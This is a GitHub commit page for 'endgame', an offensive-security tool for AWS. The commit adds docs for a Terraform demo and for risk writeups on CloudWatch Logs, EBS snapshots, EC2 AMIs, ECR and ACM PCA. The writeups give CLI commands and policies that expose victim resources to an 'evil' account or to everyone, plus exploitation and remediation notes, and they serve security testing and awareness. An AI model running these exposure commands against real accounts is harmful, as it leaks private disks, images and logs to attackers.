Skip to content

Commit 6f0cf15

Browse files
kmcquadekmcquade
committed
Finished all the risk writeups except for Lambda Layers, RDS Snapshots, SES, S3, SNS, and SQS
1 parent 7075585 commit 6f0cf15

22 files changed

+620
-55
lines changed

‎.gitignore

+2-1
Original file line numberDiff line numberDiff line change
@@ -68,4 +68,5 @@ packer_cache/
6868
#### Repository specific
6969
.notes/*
7070
**/private.tf
71-
.python-version
71+
.python-version
72+
ecr-policy.json

‎README.md

-1
Original file line numberDiff line numberDiff line change
@@ -113,7 +113,6 @@ This program makes modifications to live AWS Infrastructure, which can vary from
113113

114114
> 🚨This will create real AWS infrastructure and will cost you money! 🚨
115115
116-
```bash
117116
```bash
118117
# To create the demo infrastructure
119118
make terraform-demo

‎docs/appendices/acm-pca-activation.md

+30
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
# ACM PCA Activation
2+
3+
While the rest of the infrastructure deployed via the Terraform resources is ready to go as soon as `make terraform-demo` is finished, you will need to do some manual follow-up steps in ACM PCA for the demo to work.
4+
5+
Follow the steps below to activate the PCA. After following these steps, you can successfully perform the Resource Exposure activities.
6+
7+
## Create Terraform Resources
8+
9+
* Run the Terraform code to generate the example AWS resources.
10+
11+
```bash
12+
make terraform-demo
13+
```
14+
15+
## Follow-up steps to activate ACM PCA
16+
17+
18+
The ACM Private Certificate Authority will have been created - but you won't be able to use it yet. Per [the Terraform docs on [aws_acmpca_certificate_authority](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/acmpca_certificate_authority), "Creating this resource will leave the certificate authority in a `PENDING_CERTIFICATE status`, which means it cannot yet issue certificates."
19+
20+
* To solve this, navigate to the AWS Console in the selected region. Observe how the certificate authority is in the `PENDING_CERTIFICATE` status, as shown in the image below.
21+
22+
> ![ACM PCA Pending Status](../images/acm-pca-action-required.png)
23+
24+
* Select "Install a CA Certificate to activate your CA", as shown in the image above, marked by the **red box**.
25+
26+
* A wizard will pop up. Use the default settings and hit **"Next"**, then **"Confirm and Install"**.
27+
28+
* Observe that your root CA certificate was installed successfully, and that the STATUS of the CA is ACTIVE and able to issue private certificates.
29+
30+
.. and now you are ready to pwn that root certificate with this tool 😈

‎docs/appendices/terraform-demo-infrastructure.md

+38
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
# Terraform Demo Infrastructure
2+
3+
This program makes modifications to live AWS Infrastructure, which can vary from account to account. We have bootstrapped some of this for you.
4+
5+
> 🚨This will create real AWS infrastructure and will cost you money! 🚨
6+
7+
> _Note: It is not exposed to rogue IAM users or to the internet at first. That will only happen after you run the exposure commands._
8+
9+
## Prerequisites
10+
11+
* Valid credentials to an AWS account
12+
* AWS CLI should be set up locally
13+
* Terraform should be installed
14+
15+
16+
### Installing Terraform
17+
18+
* Install `tfenv` (Terraform version manager) via Homebrew, and install Terraform 0.12.28
19+
20+
```bash
21+
brew install tfenv
22+
tfenv install 0.12.28
23+
tfenv use 0.12.28
24+
```
25+
26+
### Build the demo infrastructure
27+
28+
* Run the Terraform code to generate the example AWS resources.
29+
30+
```bash
31+
make terraform-demo
32+
```
33+
34+
* Don't forget to clean up after.
35+
36+
```bash
37+
make terraform-destroy
38+
```

‎docs/risks/acm-pca.md

+2-26
Original file line numberDiff line numberDiff line change
@@ -2,31 +2,7 @@
22

33
## Steps to Reproduce
44

5-
First, set up the demo resources. Then you can follow the exposure steps.
6-
7-
### Setting up the demo resources
8-
9-
* Run the Terraform code to generate the example AWS resources.
10-
11-
```bash
12-
make terraform-demo
13-
```
14-
15-
The ACM Private Certificate Authority will have been created - but you won't be able to use it yet. Per [the Terraform docs on [aws_acmpca_certificate_authority](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/acmpca_certificate_authority), "Creating this resource will leave the certificate authority in a `PENDING_CERTIFICATE status`, which means it cannot yet issue certificates."
16-
17-
* To solve this, navigate to the AWS Console in the selected region. Observe how the certificate authority is in the `PENDING_CERTIFICATE` status, as shown in the image below.
18-
19-
> ![ACM PCA Pending Status](../images/acm-pca-action-required.png)
20-
21-
* Select "Install a CA Certificate to activate your CA", as shown in the image above, marked by the **red box**.
22-
23-
* A wizard will pop up. Use the default settings and hit **"Next"**, then **"Confirm and Install"**.
24-
25-
* Observe that your root CA certificate was installed successfully, and that the STATUS of the CA is ACTIVE and able to issue private certificates.
26-
27-
.. and now you are ready to pwn that root certificate with this tool 😈
28-
29-
### Exposure Steps
5+
* ‼️ If you are using the Terraform demo infrastructure, you must take some follow-up steps after provisioning the resources in order to be able to expose the demo resource. This is due to how ACM PCA works. For instructions, see the [Appendix on ACM PCA Activation](../appendices/acm-pca-activation.md)
306

317
* To expose the resource using `endgame`, run the following from the victim account:
328

@@ -48,7 +24,7 @@ export CERTIFICATE_ARN = arn:aws:acm-pca:$AWS_REGION:$VICTIM_ACCOUNT_ID:certific
4824
aws acm-pca list-permissions --certificate-authority-arn $CERTIFICATE_ARN
4925
```
5026

51-
* Observe that the contents of the exposed resource Policy match the example shown below.
27+
* Observe that the contents of the overly permissive resource-based policy match the example shown below.
5228

5329
## Example
5430

‎docs/risks/cloudwatch-logs.md

+34-1
Original file line numberDiff line numberDiff line change
@@ -4,10 +4,42 @@ CloudWatch Resource Policies allow other AWS services or IAM Principals to put l
44

55
## Steps to Reproduce
66

7+
* To expose the resource using `endgame`, run the following from the victim account:
8+
9+
```bash
10+
export EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil
11+
12+
endgame expose --service cloudwatch --name test-resource-exposure
13+
```
14+
15+
* To view the contents of the exposed resource policy, run the following:
16+
17+
```bash
18+
aws logs describe-resource-policies
19+
```
20+
21+
* Observe that the contents of the exposed resource policy match the example shown below.
22+
723
## Example
824

25+
```json
26+
{
27+
"resourcePolicies": [
28+
{
29+
"policyName": "test-resource-exposure",
30+
"policyDocument": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Sid\":\"\",\"Effect\":\"Allow\",\"Principal\":{\"AWS\":\"arn:aws:iam::999988887777:root\"},\"Action\":[\"logs:PutLogEventsBatch\",\"logs:PutLogEvents\",\"logs:CreateLogStream\"],\"Resource\":\"arn:aws:logs:*\"}]}",
31+
"lastUpdatedTime": 1613244111319
32+
}
33+
]
34+
}
35+
```
36+
937
## Exploitation
1038

39+
```
40+
TODO
41+
```
42+
1143
## Remediation
1244

1345
> ‼️ **Note**: At the time of this writing, AWS Access Analyzer does **NOT** support auditing of this resource type to prevent resource exposure. **We kindly suggest to the AWS Team that they support all resources that can be attacked using this tool**. 😊
@@ -25,4 +57,5 @@ Also, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaini
2557

2658
* [CloudWatch Logs Resource Policies](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/iam-access-control-overview-cwl.html)
2759
* [API Documentation: PutResourcePolicy](https://docs.aws.amazon.com/AmazonCloudWatchLogs/latest/APIReference/API_PutResourcePolicy.html)
28-
* [aws logs put-resource-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/logs/put-resource-policy.html)
60+
* [aws logs put-resource-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/logs/put-resource-policy.html)
61+
* [aws logs describe-resource-policy](https://docs.aws.amazon.com/cli/latest/reference/logs/describe-resource-policies.html)

‎docs/risks/ebs.md

+52
Original file line numberDiff line numberDiff line change
@@ -2,10 +2,61 @@
22

33
## Steps to Reproduce
44

5+
* To expose the resource using `endgame`, run the following from the victim account:
6+
7+
```bash
8+
export EVIL_PRINCIPAL=*
9+
export SNAPSHOT_ID=snap-1234567890abcdef0
10+
11+
endgame expose --service ebs --name $SNAPSHOT_ID
12+
```
13+
14+
* To expose the resource using the AWS CLI, run the following from the victim account:
15+
16+
```bash
17+
export SNAPSHOT_ID=snap-1234567890abcdef0
18+
19+
aws ec2 modify-snapshot-attribute \
20+
--snapshot-id $SNAPSHOT_ID \
21+
--attribute createVolumePermission \
22+
--operation-type add \
23+
--group-names all
24+
```
25+
26+
* To view the contents of the exposed resource policy, run the following:
27+
28+
```bash
29+
export SNAPSHOT_ID=snap-1234567890abcdef0
30+
31+
aws ec2 describe-snapshot-attribute \
32+
--snapshot-id $SNAPSHOT_ID \
33+
--attribute createVolumePermission
34+
```
35+
36+
* Observe that the contents match the example shown below.
37+
538
## Example
639

40+
The response of `aws ec2 describe-snapshot-attribute` will match the below, indicating that the EBS snapshot is public.
41+
42+
```json
43+
{
44+
"SnapshotId": "snap-066877671789bd71b",
45+
"CreateVolumePermissions": [
46+
{
47+
"Group": "all"
48+
}
49+
]
50+
}
51+
```
52+
753
## Exploitation
854

55+
After an EBS Snapshot is made public, an attacker can then:
56+
* [copy the public snapshot](https://docs.aws.amazon.com/cli/latest/reference/ec2/copy-snapshot.html) to their own account
57+
* Use the snapshot to create an EBS volume
58+
* Attach the EBS volume to their own EC2 instance and browse the contents of the disk, potentially revealing sensitive or otherwise non-public information.
59+
960
## Remediation
1061

1162
> ‼️ **Note**: At the time of this writing, AWS Access Analyzer does **NOT** support auditing of this resource type to prevent resource exposure. **We kindly suggest to the AWS Team that they support all resources that can be attacked using this tool**. 😊
@@ -23,3 +74,4 @@ Also, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaini
2374

2475
* [Sharing an Unencrypted Snapshot using the Console](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html#share-unencrypted-snapshot)
2576
* [Share a snapshot using the command line](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html)
77+
* [aws ec2 copy-snapshot](https://docs.aws.amazon.com/cli/latest/reference/ec2/copy-snapshot.html)

‎docs/risks/ec2-amis.md

+46-1
Original file line numberDiff line numberDiff line change
@@ -2,10 +2,54 @@
22

33
## Steps to Reproduce
44

5+
* To expose the resource using `endgame`, run the following from the victim account:
6+
7+
```bash
8+
export EVIL_PRINCIPAL=*
9+
export IMAGE_ID=ami-5731123e
10+
11+
endgame expose --service ebs --name $SNAPSHOT_ID
12+
```
13+
14+
* To expose the resource using AWS CLI, run the following from the victim account:
15+
16+
```bash
17+
aws ec2 modify-image-attribute \
18+
--image-id ami-5731123e \
19+
--launch-permission "Add=[{Group=all}]"
20+
```
21+
22+
* To validate that the resource has been shared publicly, run the following:
23+
24+
```bash
25+
aws ec2 describe-image-attribute \
26+
--image-id ami-5731123e \
27+
--attribute launchPermission
28+
```
29+
30+
* Observe that the contents of the exposed AMI match the example shown below.
31+
532
## Example
633

34+
The output of `aws ec2 describe-image-attribute` reveals that the AMI is public if the value of "Group" under "LaunchPermissions" is equal to "all"
35+
36+
```
37+
{
38+
"LaunchPermissions": [
39+
{
40+
"Group": "all"
41+
}
42+
],
43+
"ImageId": "ami-5731123e",
44+
}
45+
```
46+
747
## Exploitation
848

49+
After an EC2 AMI is made public, an attacker can then:
50+
* [Copy the AMI](https://docs.aws.amazon.com/cli/latest/reference/ec2/copy-image.html) into their own account
51+
* Launch an EC2 instance using that AMI and browse the contents of the disk, potentially revealing sensitive or otherwise non-public information.
52+
953
## Remediation
1054

1155
> ‼️ **Note**: At the time of this writing, AWS Access Analyzer does **NOT** support auditing of this resource type to prevent resource exposure. **We kindly suggest to the AWS Team that they support all resources that can be attacked using this tool**. 😊
@@ -21,4 +65,5 @@ Also, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaini
2165

2266
## References
2367

24-
- [aws ec2 modify-image-attribute](https://docs.aws.amazon.com/cli/latest/reference/ec2/modify-image-attribute.html)
68+
- [aws ec2 modify-image-attribute](https://docs.aws.amazon.com/cli/latest/reference/ec2/modify-image-attribute.html)
69+
- [aws ec2 describe-image-attribute](https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-image-attribute.html)

‎docs/risks/ecr.md

+58
Original file line numberDiff line numberDiff line change
@@ -2,10 +2,68 @@
22

33
## Steps to Reproduce
44

5+
* To expose the resource using `endgame`, run the following from the victim account:
6+
7+
```bash
8+
export EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil
9+
10+
expose --service ecr --name test-resource-exposure
11+
```
12+
13+
* Alternatively, to expose the resource using the AWS CLI:
14+
15+
Create a file named `ecr-policy.json` with the following contents:
16+
17+
```json
18+
{
19+
"Version" : "2008-10-17",
20+
"Statement" : [
21+
{
22+
"Sid" : "allow public pull",
23+
"Effect" : "Allow",
24+
"Principal" : "*",
25+
"Action" : [
26+
"ecr:*"
27+
]
28+
}
29+
]
30+
}
31+
```
32+
33+
Then run the following from the victim account:
34+
35+
```bash
36+
aws ecr set-repository-policy --repository-name test-resource-exposure --policy-text file://ecr-policy.json
37+
```
38+
39+
* To view the contents of the exposed resource policy, run the following:
40+
41+
```bash
42+
aws ecr get-repository-policy \
43+
--repository-name test-resource-exposure
44+
```
45+
46+
* Observe that the contents match the example shown below.
47+
48+
549
## Example
650

51+
The policy shown below shows a policy that grants access to Principal `*`. If the output contains `*` in Principal, that means the ECR repository is public. If the Principal contains just an account ID, that means it is shared with another account.
52+
53+
```json
54+
{
55+
"registryId": "111122223333",
56+
"repositoryName": "test-resource-exposure",
57+
"policyText": "{\n \"Version\" : \"2008-10-17\",\n \"Statement\" : [ {\n \"Sid\" : \"allow public pull\",\n \"Effect\" : \"Allow\",\n \"Principal\" : \"*\",\n \"Action\" : \"ecr:*\"\n } ]\n}"
58+
}
59+
```
60+
761
## Exploitation
862

63+
```
64+
TODO
65+
```
66+
967
## Remediation
1068

1169
> ‼️ **Note**: At the time of this writing, AWS Access Analyzer does **NOT** support auditing of this resource type to prevent resource exposure. **We kindly suggest to the AWS Team that they support all resources that can be attacked using this tool**. 😊

0 commit comments

Comments
 (0)